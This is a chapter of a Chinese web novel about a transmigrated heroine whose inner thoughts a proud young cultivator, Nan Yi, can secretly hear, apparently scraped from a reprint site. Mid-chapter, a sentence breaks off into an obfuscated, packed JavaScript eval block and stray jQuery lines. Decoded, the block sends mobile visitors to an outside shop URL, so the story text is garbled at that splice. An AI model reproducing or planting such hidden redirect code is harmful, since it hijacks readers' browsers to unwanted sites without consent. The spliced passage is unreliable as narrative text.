文趣网 > 其他小说 > 速死炮灰被读心声后 > 68. 068
    他的话落到耳里,让容峣不由自主地起了身恶寒。

    什么叫舌头长她嘴里?听着怪恶心的。

    很好,不愧是气运之子,几句话之间,将整个黎家都骂进去。

    抬起头,努力挺直脊背放平肩膀,白梨讷讷道:“我的确是黎家人。”

    面对“你是谁”这种哲学问题,容峣挑了个最浅显的答案。

    唇边拉开一抹讽刺的弧度,南弋定定看着她:“呵,黎家人是吧,白梨?好,我记住了。”

    从另外两人的反应看,眼前这人似乎的确是她们口中的黎家四子。

    难道只有他能听见那古怪的声音?

    还是说,整个黎家都在做戏?

    这个女人,和卿飞烟到底有何关系?

    曲姐姐可是为她的死低沉了好一段时日,若是被他发现是有人设计......

    呵。

    眼底渗出暗沉的光芒,南弋正要放两句狠话,不期然再次听到。

    [气运之子这是什么表情,脸再好看也不是这么用的。]

    内里的嫌弃之意溢于言表。

    虽然在目前的任务对象中,南弋是年纪最小也是最矮的,目测也就接近一米八,但他头身比极好,一张脸看着就巴掌大。

    明明是明眸皓齿、琼鼻樱唇的精致长相,却老是脸臭得像是全天下都欠他钱,硬生生拉低了颜值。

    [这样还怎么讨女主芳心?不知拿的什么剧本。]

    话里有几个字眼听不清,却不妨碍南弋读懂她的意思。

    讨芳心?

    他堂堂衍霄宫的亲传弟子,何曾需要讨好别人!

    心里的火气已经窜到嗓子眼,指尖一动就能让面前人灰飞烟灭,南弋偏过头刻意不去看她,残存的理智勉强拉着他不要贸然动手。

    他突然冒出一个念头。

    似乎连她本人,都不知晓他能听见这声音?

    那这声音到底是什么?怎么像是她的心里话?

    就连搜魂都只能看见过往,世上真存在能听到旁人心声的术法吗?

    眼底微凝,南弋不得不承认,他对这奇怪的术法有些好奇。

    恰好黎烁暗自记下两人的眉眼官司后,出来打圆场:“南道友远道而来,一路舟车劳顿,不妨先入内歇息,再作详谈。”

    原本准备拿到消息就离开,并未打算在这多停留,南弋瞥她一眼后,留下一声冷哼,大步朝内堂走去。

    贵客上门,里边自有人接待。

    在确认南弋身份后,黎烁第一时间给自家爹传信,在外边耽搁了一会儿,刚好让黎大将里边收拾齐整,摆出东道主的架势。

    人一进来,他就带着热情的笑容迎上去。

    “这位就是南弋南道友吧,年纪轻轻便有此修为,贵派真是人才辈出啊!”

    按理说,以南弋的身份,就算家主亲自出来接待也不过分,消息也第一时间递了过去。

    但考虑到他这次上门只以学宫弟子自称,若是家主眼巴巴凑上来,倒显得她们黎家谄媚,便只打算用膳的时候露个面。

    招待贵客的活,便自然落到最先得到消息,又是这一辈最为年长的黎大身上。

    见爹娘候在这,黎烁便明白这桩好事落到自家头上,先是松了口气,但一想到南弋方才的言谈举止,又提起一口气。

    面对黎大的寒暄,南弋扯出一个敷衍的微笑,自顾自坐在最前首的椅子上。

    见他反应冷淡,黎大准备好的一箩筐话卡在嘴里,悄悄同自家儿子交换了个眼神。

    得到示意,他硬着头皮继续找话,对方的注意力却完全没在他这。

    顺着南弋的视线看过去,黎大发现站在一旁的白梨,瞧着她那张好脸蛋,当即有了主意。

    “白梨啊,站在那里做什么,还不给南道友......”

    他理所当然地吩咐人干活,只是“端茶倒水”四个字还没出口,便感受到小臂上被人用力拧了下。

    痛嘶声刚要出口,又被他努力咽下,免得失了礼数。

    还没等他怒瞪一眼旁边的妻子,她已经抢过话头:“你们站着作甚,都坐,白梨来,坐这,大伯母也好一段时日没见过你,新搬的院子住着可还合适?”

    和煦关怀的话一出,黎大当即不适地扭了扭身子,不知妻子又抽什么风。

    直到看到她眼神示意的方向,他才猛地记起。

    这丫头可是今非昔比!

    那晚的事历历在目,谁都没想到她身上竟有木灵血脉!

    她们三兄妹忙活一通,没想到献上聚元花的小妹还没落着好,反倒是这死丫头出尽风头。

    从家主的反应看,甚至是老祖亲口交待要好生培养。

    被向来看不起的人踩在头上,黎大心里自然不好受,但现在又明摆着南弋对她也不同,不得不挤出一个笑。

    “是啊白梨,有什么事跟大伯说,毕竟你父母不在了,照顾你便是整个黎家的责任。”

    想起往日种种,容峣对他嘴里的“照顾”敬谢不敏,左右同这家子人也相处不了多久,她懒得掰扯,只微微颔首。

    “多谢大伯、大伯母关怀,我一切都好。”

    比起NPC虚伪的举止,气运之子毫不遮掩的视线更让人上心。

    “好好,听你这么说大伯就放心了。”视线扫过二人,黎大状似无意:“你们在外边已经见过了,想来都是同龄人,相处起来也更松快。”

    “南道友是客人,又是第一回来黎家,白梨你可要多加关照。”

    话题自然而然又回到南弋身上。

    眼底划过不耐,他掸了掸衣袍,看都没看黎大一眼。

    “客套的话就不必了,说说蒙山的地动是怎么回事吧。”

    只是等他看过黎家呈上的卷宗,心里对这一家子废物又有了更清晰的认知。

    一个月了,连规律都没摸清,上边写的都是些什么玩意儿,没一条有用的信息。

    将卷宗扔回桌面,正当他嘴角微扯,想把这些人都骂一通时,坐在他旁侧的少女突然开口,将地动的时间、范围、甚至周围鸟兽、植株的情况,都一一讲明白。

    短时间已经摸清这小祖宗的脾气,方才一看他的表情黎大就心道不妙,此刻见他被白梨的话吸引注意力,忙不迭擦了擦额角冷汗。

    “白梨说得对!她一向爱往山上跑,南道友若有疑惑尽管问她!”

    骂了她可就不能骂他了啊!

    小心翼翼地抬眼,白梨像是下定决心,鼓起勇气看过来:“若南道友需要,我可为你引路上山。”

    眼睛一转,黎大先一步答应下来:“这敢情好,黎家怕是没人比白梨更清楚蒙山的情况,就劳烦南道友带她......”

    还没等他说完,南弋掀了掀眼皮,毫不客气地打断:“不需要。”

    斜睨她一眼,他双手抱胸往后一靠:“就你这修为,上山是打算喂哪只妖兽?”

    若他没猜错,蒙山深处应当藏着只高修为的妖兽。

    好奇归好奇,他可不想放个累赘在身边,只会扯后腿。

    眼底划过一丝诧异,又很快被遮掩,容峣想不通他怎么会

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17671360|203733||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    拒绝。

    即便从他眼中看出嫌弃,但剧情里原主可比现在还孱弱,他都主动提出带路一事,怎么现在反而拒绝?

    从他先前的反应来看,容峣只能在心底猜测。

    [难道是因为这张脸?总不能是因为卿飞烟的缘故,怜香惜玉了吧?]

    怜香惜玉?

    额角一跳,南弋突然放下手,撑在桌边往前探出一截,瞬间拉近两人距离。

    猝不及防看到一张放大的脸,还没等容峣反应,一道恶劣的声音在耳边响起。

    “另外,你长得太丑,碍着我的眼了。”

    ——

    入夜,回荡在脑中的那句话,让容峣一怒之下,狠狠锤了下枕头。

    丑?

    这个字眼,横看竖看、上看下看、左看右看,就不该同她扯上半分关系!

    虽然穿越无数世界,她对自个儿外貌早就不在意,但也不能容许有人故意诋毁。

    是眼睛有问题,还是脑子有问题?

    不需要的话,都可以捐了哈。

    想到前半截任务还是被这个狗东西救赎,容峣双眼无神地朝后倒下,脑袋上冒出巨大的问号。

    被他救赎?

    就这狗脾气,是怎么跟这两个字扯上关系的?

    任务可以离谱,但不能离奇哈。

    将自己代入原剧情,容峣眼底渐渐漫上麻木。

    哈哈,她竟真找到那么一点苗头!

    因为南弋平等地看不上黎家每一个人,所以备受欺负的原主,生出一点诡异的平衡感。

    好好好,一个鲤鱼打挺从床上跃起,容峣没打算放弃,抬脚出门往外走。

    时间仓促,黎家空置的只有两个客院,其中一间便分给白梨作为她新的住所。

    此时,任务对象就住在她隔壁。

    另一边,住进客房后,南弋并未打算歇下,只在?小榻上放了个自己的蒲团,盘坐调息。

    晚间一顿饭下来,他差不多弄明白,只有看着白梨的眼睛时才能听到心声。

    同时,他还发现这家人很怪,看着都瞧不起白梨,又对她刻意讨好。

    却无一人发觉她的异常。

    但左右是别人的家事,南弋并不在意,只思索着心声一事。

    他确定,世上并无这样的术法,在此之上,他还注意到另一件事。

    心口不一。

    黎白梨的心声和她的行为举止,俨然是两个人。

    兀地,他脑中划过两个字——

    夺舍。

    或许是神魂不稳,同肉身排斥,才会出此纰漏?

    若是魔修,那他确实该好好盯着,若有不对之处便立马除去。

    刚这样想,门口传来敲门声,感知到熟悉的气息,南弋没将人弹出去,而是下榻开门。

    月光下,对上那双清透的眼睛,他听见来人语带关切,恳求道:“南道友,山上凶险,还是让我为你引路吧。”

    但她心里想的却是:

    [你最好答应,大不了我偷偷跟上,反正别想甩开我!]

    “好啊。”

    见她两眼微圆似有惊讶,南弋抬了抬下巴,一副颐指气使的模样。

    “我说,可以。”

    他忽然低头凑近,眼底浮现出一层骄矜。

    “但你最好今夜就突破两重修为,不然只能我说什么,你做什么。”

    “若是拖我后腿,别怪我不客气。”

    咽下一肚子说辞,在狗脾气之上,容峣又给南弋新加上一个标签。

    喜怒不定。